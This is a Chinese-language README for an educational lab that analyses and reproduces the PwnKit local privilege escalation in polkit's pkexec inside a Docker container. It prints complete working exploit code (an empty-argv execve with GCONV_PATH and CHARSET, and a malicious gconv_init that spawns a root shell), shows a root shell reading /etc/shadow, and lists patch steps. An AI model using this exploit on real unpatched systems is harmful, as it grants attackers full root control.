🔗 原始项目:berdav/CVE-2021-4034
本项目基于原始项目,出于教育目的进行分析和修改。
遵守 MIT 许可证 | 白帽学校(White Hat School)教育课题
CVE-2021-4034 是 Linux policykit-1(PolicyKit)中的一个本地权限提升漏洞。普通用户可以在不提供参数的情况下执行 pkexec,利用进程内存结构的缺陷,使得本应被过滤的环境变量字符串被 glib 再次引用,从而加载恶意的 .so 文件,最终获取 root 权限。
⚠️ 仅供教育用途:此代码只能在经过修改的系统中使用。
若用于攻击真实系统,可能会承担法律责任。
| 项目 | 内容 |
|---|---|
| CVE ID | CVE-2021-4034 |
| 漏洞名称 | PwnKit |
| 影响版本 | 未应用补丁的 polkit 0.105 之前的所有版本(测试环境:Ubuntu 20.04 上的 policykit-1 0.105-26ubuntu1) |
| 漏洞类型 | 本地权限提升 (LPE) |
| 严重程度 | 严重 (CVSS 7.8) |
| 补丁版本 | policykit-1 >= 0.105-26ubuntu1.1 |
| 发现日期 | 2021 年 6 月(2022 年 1 月公开) |
容易被误认为只是 Ubuntu 的问题,但由于这是 pkexec 本身的逻辑缺陷,使用 polkit 的大多数发行版都会受到影响。因为 Docker 测试环境是 Ubuntu 20.04,所以上表也列出了该版本。
最初分析时以为是“未验证环境变量导致的问题”,但结合源代码和补丁提交来看,发现顺序其实不太一样。真正的原因另有其物,环境变量问题只是该原因导致的结果。以下是按原因顺序整理的过程。
pkexec 是通过 PolicyKit 请求权限提升的 SUID-root 程序。
# 示例:以 root 权限执行命令
pkexec /bin/id
pkexec systemctl restart service
它用于普通用户以管理员权限执行特定操作。
argc == 0 的情况pkexec 的 main() 函数在处理命令行参数时,没有验证参数为零的情况(argc == 0)。这才是该漏洞真正的起点。
argv = {"pkexec", "命令", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0当 argc 为 0 时,argv 列表中只剩下一个表示结束的 NULL。但 pkexec 的内部逻辑仍然尝试读取和写入不存在的 argv[1]。问题在于,Linux 在执行进程时,会将 argv 数组和 envp(环境变量)数组在内存上紧挨着放置。因此,越界的 argv[1] 实际上指向了 envp[0],即第一个环境变量。
正常情况: argv = [ "pkexec" | NULL ]
攻击情况: argv = [ NULL ] ← argc = 0
↑
访问不存在的 argv[1]
↓
读取并写入内存中紧随其后的 envp[0](越界)
为什么危险:
GCONV_PATH、LD_PRELOAD 等危险环境变量标记为不安全并移除。argc < 1 时立即退出的验证逻辑来修复此问题。(对应 CWE-125 越界读取、CWE-787 越界写入)📌 总结:环境变量未验证是“攻击得以进行的条件”,而真正的漏洞根因(root cause)是 pkexec 未处理 argc == 0 的情况。下面的第 3 点是由此原因导致的结果。
由于第 2 点中描述的越界行为,pkexec 在初始化 glib 时,这个字符串被未经验证地再次使用。
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 原本应由 ld.so 过滤掉
"CHARSET=PWNKIT", // 不存在的编码
};
execve("/usr/bin/pkexec", args, env); // argv 为空,造成 argc=0
问题:
这里重点是 glib 本身并没有做错。如果设置了 GCONV_PATH,则从该路径查找转换器是 glib 的正常行为。问题在于 pkexec 已经破坏了安全执行状态(危险环境变量已被移除的状态)——glib 只是正常运行,但其正常行为被利用了。
检查 CHARSET 环境变量
CHARSET=PWNKIT
在 gconv-modules 文件中查找转换器定义
module UTF-8// PWNKIT// pwnkit 1
从 GCONV_PATH 加载 .so 文件
GCONV_PATH=. → 在当前目录查找 pwnkit.so
自动执行 .so 文件的初始化函数
// pwnkit.c - 加载 .so 文件时自动执行
void gconv_init(void *step)
{
setuid(0); // 获取 root 权限
setgid(0);
execve("/bin/sh"); // 执行 root shell!
}
容易把 gconv_init 称为“构造函数”,但严格来说它与 C 的 __attribute__((constructor)) 不同。准确地说,它是 gconv 模块接口中定义的初始化函数,glib 使用 dlopen 加载 .so 后显式调用该函数。
┌─────────────────────────────────────┐
│ 普通用户 (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. 清空 argv 并执行 pkexec (argc=0)
│ + 设置恶意环境变量
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec 执行 │
│ 未验证 argc → 越界 → 字符串再次被引用 │
└─────────────────────────────────────┘
│
│ 2. glib 按正常逻辑处理
│ 查找 CHARSET=PWNKIT 编码
│ 在 GCONV_PATH=. 中寻找转换器
↓
┌─────────────────────────────────────┐
│ 加载 pwnkit.so │
│ (当前目录下的恶意 .so 文件) │
└─────────────────────────────────────┘
│
│ 3. 自动执行 gconv 初始化函数(root 权限!)
↓
┌─────────────────────────────────────┐
│ 获取 root shell ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. 获取项目
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. 更新至最新版本
git pull origin main
# 3. 构建(无缓存)
docker compose build --no-cache
# 4. 执行
docker compose up
docker system prune -a --volumes --force 仅在缓存或卷出现问题导致上述方法无效时才推荐使用。这是一个比较激进的命令,会清除整个系统的 Docker 缓存,可能导致其他项目的缓存也被清除。相关内容在下面的“遇到的问题及解决方法”中另行整理。
pwnkit | 当前权限(攻击前): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 成功! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose 配置
├── Dockerfile # 存在漏洞的 Ubuntu 20.04 环境
├── start.sh # 容器初始化及自动执行
├── Makefile # 构建配置
├── CVE-2021-4034_exploit.c # Exploit 代码(调用 pkexec)
├── pwnkit.c # 恶意 .so 文件(权限提升)
├── gconv-modules # glib 转换器映射
├── README.md # 本文档
└── LICENSE # MIT 许可证
#include <unistd.h>
int main(int argc, char *argv[])
{
// 不为 pkexec 指定要执行的程序
// (args 中只有 NULL)→ 这就是造成 argc=0 的部分
char * const args[] = {
NULL
};
// 🔴 未经验证的恶意环境变量
// 由于 argc=0 导致的越界,它们再次变为可引用状态,直接传递给 pkexec
char * const env[] = {
"GCONV_PATH=.", // 转换器路径(当前目录)
"CHARSET=PWNKIT", // 不存在的编码
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// 执行 pkexec(不带参数 → 触发 argc=0)
execve("/usr/bin/pkexec", args, env);
return 0;
}
核心:
args 中甚至不包含 pkexec 本身的名称,使得 argc 为 0 → 触发根本原因(未验证 argc)GCONV_PATH=.:越界后再次可引用,glib 从该路径查找转换器CHARSET=PWNKIT:诱导 glib 查找该编码的转换器#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 使 .so 文件被识别为转换器所需的函数(形式上必需)
void gconv()
{
}
// 🎯 CVE-2021-4034 的核心
// 加载 .so 文件时,glib 使用 dlopen 后显式调用的初始化函数
// 该函数以 root 权限执行!← 核心漏洞!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // 执行 root shell
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// 显式设置 root 权限(虽然已经是 root)
setuid(0);
setgid(0);
// 执行 root shell ← 权限提升成功!
execve(args[0], args, env);
exit(0);
}
核心:
gconv_init() 不是 C 构造函数属性,而是根据 gconv 模块接口规范,glib 在 dlopen 后直接调用的初始化函数setuid(0) 后再执行 shell 即可直接得到 root shell$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

实际上该截图是首次利用成功时的画面,上方显示了用户权限。
$ ./CVE-2021-4034_exploit
注意:exploit 本身不需要 sudo。由于 pkexec 本身就是 SUID-root 二进制程序,仅凭普通用户权限即可获得 root shell 正是该漏洞的核心。在 Docker 测试环境中曾使用过
sudo -E,但这只是为了方便检查 NOPASSWD 设置,与漏洞本身无关。
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (只有 root 才能看到的内容)

上方可见攻击后已获得 root 权限。
若想更全面查看攻击前后的对比,建议参阅上方 ### 实际攻击前权限 部分的截图。
✅ 权限提升成功!
在基于 Ubuntu 20.04 的 Docker 环境中复现成功(policykit-1 0.105-26ubuntu1)。由于重复测试次数尚不多,计划更换内核和发行版版本后多次运行,并补充结果。
# 1. 升级补丁(推荐)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# 检查版本
dpkg -l | grep policykit-1
# 必须为 0.105-26ubuntu1.1 或更高
# 修改 /etc/sudoers(使用 sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
补丁是根本解决方案,上述两种方法只是补丁前的临时措施。由于 argc 验证必须通过修改 pkexec 代码才能解决,仅阻止环境变量无法完全防御。
docker-compose 命令原因: Ubuntu 24.04 中没有 docker-compose(v1),只有 docker compose(v2)
解决:
# 使用 docker compose 命令(v2)
docker compose up
原因: Dockerfile 中的 NOPASSWD 设置未正确生效(Docker 缓存问题)
解决:
docker compose build --no-cache
docker compose up
如果仍不行,完全清除缓存后重试。
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
原因: 本地文件保持为旧版本
解决:
# 从 GitHub 获取最新版本
git pull origin main
# 检查文件
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# 重新构建
docker compose up --build --no-cache
原因: 旧容器仍然存在
解决:
# 移除容器
docker compose down
docker rm pwnkit -f
# 重新运行
docker compose up
原因: Docker 中生成的文件权限为 root
解决:
# 在 WSL/Linux 中
sudo rm -rf WHS4_CVE-2021-4034
作者:krleejihyeong
新编写/修改的部分:
本项目遵循 MIT 许可证。
Copyright (c) 2026 krleejihyeong(修改及分析)
Copyright (c) 2021 berdav(原始 PoC)
特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或销售软件副本的权利,并允许获得软件的人这样做,但须符合以下条件:
上述版权声明和本许可声明应包含在本软件的所有副本或实质性部分中。
本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途的适用性和非侵权性。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任负责,无论此类责任是基于合同、侵权或其他原因,是否由软件或软件的使用或其他交易引起。
详细信息请参阅 LICENSE 文件。
本项目纯属教育目的。
未经授权访问计算机系统将承担法律责任。
最后更新:2026 年 7 月